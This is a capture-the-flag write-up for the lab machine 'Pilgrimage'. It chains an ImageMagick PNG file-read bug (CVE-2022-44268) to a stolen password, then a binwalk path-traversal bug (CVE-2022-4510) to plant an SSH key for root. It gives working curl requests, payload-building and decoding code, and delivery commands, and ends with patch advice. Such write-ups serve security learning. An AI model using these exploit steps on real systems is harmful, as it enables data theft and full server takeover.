Summary
Pilgrimage is an Easy Linux box: exposed .git/ reveals
ImageMagick 7.1.0-49 → CVE-2022-44268 arbitrary file read
via crafted PNG metadata → exfil /var/db/pilgrimage SQLite
DB → emily’s plaintext password → SSH. Privesc: root runs
binwalk -e on every file dropped in
/var/www/pilgrimage.htb/shrunk/ via an inotifywait loop →
CVE-2022-4510 path-traversal in binwalk’s PFS extractor →
write ~/.ssh/authorized_keys for root → SSH root.
Critical operational delta vs the public walkthroughs:
the malicious binwalk-PFS payload is scp‘d directly into
shrunk/ as emily, bypassing the web upload. The web
upload runs through magick convert -resize 50%, which
re-encodes the image and strips the appended PFS structure —
so binwalk never sees the trigger. emily already has shell
and shrunk/ is drwxrwxrwx, so scp evil.png
emily@<TARGET>:/var/www/pilgrimage.htb/shrunk/ is the path
that fires malwarescan.sh on the un-recompressed payload.
The chain:
wget -r http://pilgrimage.htb/.git/→ source.magick.creveals ImageMagick version. Build PNG with the CVE-2022-44268 profile pointing at/var/db/pilgrimage.- Upload → server processes →
magick identify -verboseleaks the file content as the hex profile. - Decode profile → SQLite DB →
emily : <EMILY_PW>. - SSH as emily.
- Root runs
binwalk -e <file>on every upload. CVE-2022-4510: a crafted PFS file extracts/root/.config/binwalk/plugins/x.py(traversal). - Plugin runs at next extraction →
echo $key >> /root/.ssh/authorized_keys. - Trigger one more upload → SSH root.
Recon
22/tcp OpenSSH
80/tcp pilgrimage.htb (image cropper)
+ exposed /.git
Foothold — CVE-2022-44268 PNG file-read
Build a minimal PNG (1x1 black) with a tEXt chunk:
text = chunk(b'tEXt', b'profile\x00' + b'/var/db/pilgrimage')
The tEXt keyword profile is the magic — ImageMagick’s PNG
handler reads it as a filename, opens the target file, and
embeds its hex-encoded bytes back into the converted output as
a Raw profile type zTXt chunk.
Upload (login as any registered user first):
curl -c c -b c -X POST -d 'username=foo&password=bar' http://pilgrimage.htb/register.php
curl -c c -b c -X POST -d 'username=foo&password=bar' http://pilgrimage.htb/login.php
curl -c c -b c -L -F '[email protected]' http://pilgrimage.htb/
# Location: /shrunk/<id>.png
Decode the embedded zTXt — it’s \n\n <size>\n<hex>\n:
hex_full = b''.join(p for p in zTXt_decompressed.split(b'\n')
if all(c in b'0123456789abcdef' for c in p))
open('pilgrimage.db','wb').write(bytes.fromhex(hex_full.decode()))
sqlite3 pilgrimage.db 'SELECT * FROM users'
emily|<EMILY_PW>
ssh emily@<TARGET>
Privesc — binwalk CVE-2022-4510 path traversal
/usr/sbin/malwarescan.sh runs as root via systemd
(WorkingDirectory=/root/quarantine):
inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(...sed extract from FILE...)"
binout="$(/usr/local/bin/binwalk -e "$filename")"
...blacklist banned-string check; rm if hit...
done
Build the malicious PFS file with WalkingPath. The ssh mode
embeds the SSH pubkey behind a PFS path-traversal header
../../../.ssh/authorized_keys — when binwalk extracts,
the PFS extractor resolves this relative to its working
directory (/root/quarantine/_<file>.extracted/<sub>/), three
levels up of which is /root/.ssh/authorized_keys.
git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath
python3 walkingpath.py ssh seed.jpg ~/.ssh/htb_id.pub
# → binwalk_exploit.png (real seed image + appended PFS)
Delivery — DO NOT use the web upload. The web’s magick
convert -resize 50% re-encodes the image and strips trailing
data; the PFS structure never reaches shrunk/. Instead,
emily has shell + shrunk/ is world-writable, so:
sshpass -p '<EMILY_PW>' scp binwalk_exploit.png \
emily@<TARGET>:/var/www/pilgrimage.htb/shrunk/x.png
# malwarescan.sh fires within ~5s, binwalk -e extracts the PFS
# and writes /root/.ssh/authorized_keys with our key.
ssh -i ~/.ssh/htb_id root@<TARGET> # → root, read /root/root.txt
Why each step worked
- Exposed
.git: classic. - CVE-2022-44268: ImageMagick PNG handler reads the
profileparameter as a filename and embeds the file bytes back into the converted output as a hex-encodedRaw profile typechunk. - CVE-2022-4510: binwalk’s PFS extractor didn’t validate
output paths; an embedded archive with
../traversal writes outside the extraction dir.
Counterfactuals
- Don’t ship
.gitto webroots. - Patch ImageMagick ≥ 7.1.0-50.
- Patch binwalk ≥ 2.3.4 (or pin to safe 2.3.3 + plugin isolation).
References
- 0xdf, “HTB: Pilgrimage” — https://0xdf.gitlab.io/2023/11/25/htb-pilgrimage.html
- IppSec, “Pilgrimage” video walkthrough — https://ippsec.rocks/?#Pilgrimage
- duc-nt PoC for CVE-2022-44268 (manual
pngcrush -text) — https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC - adhikara13 WalkingPath PoC for CVE-2022-4510 — https://github.com/adhikara13/CVE-2022-4510-WalkingPath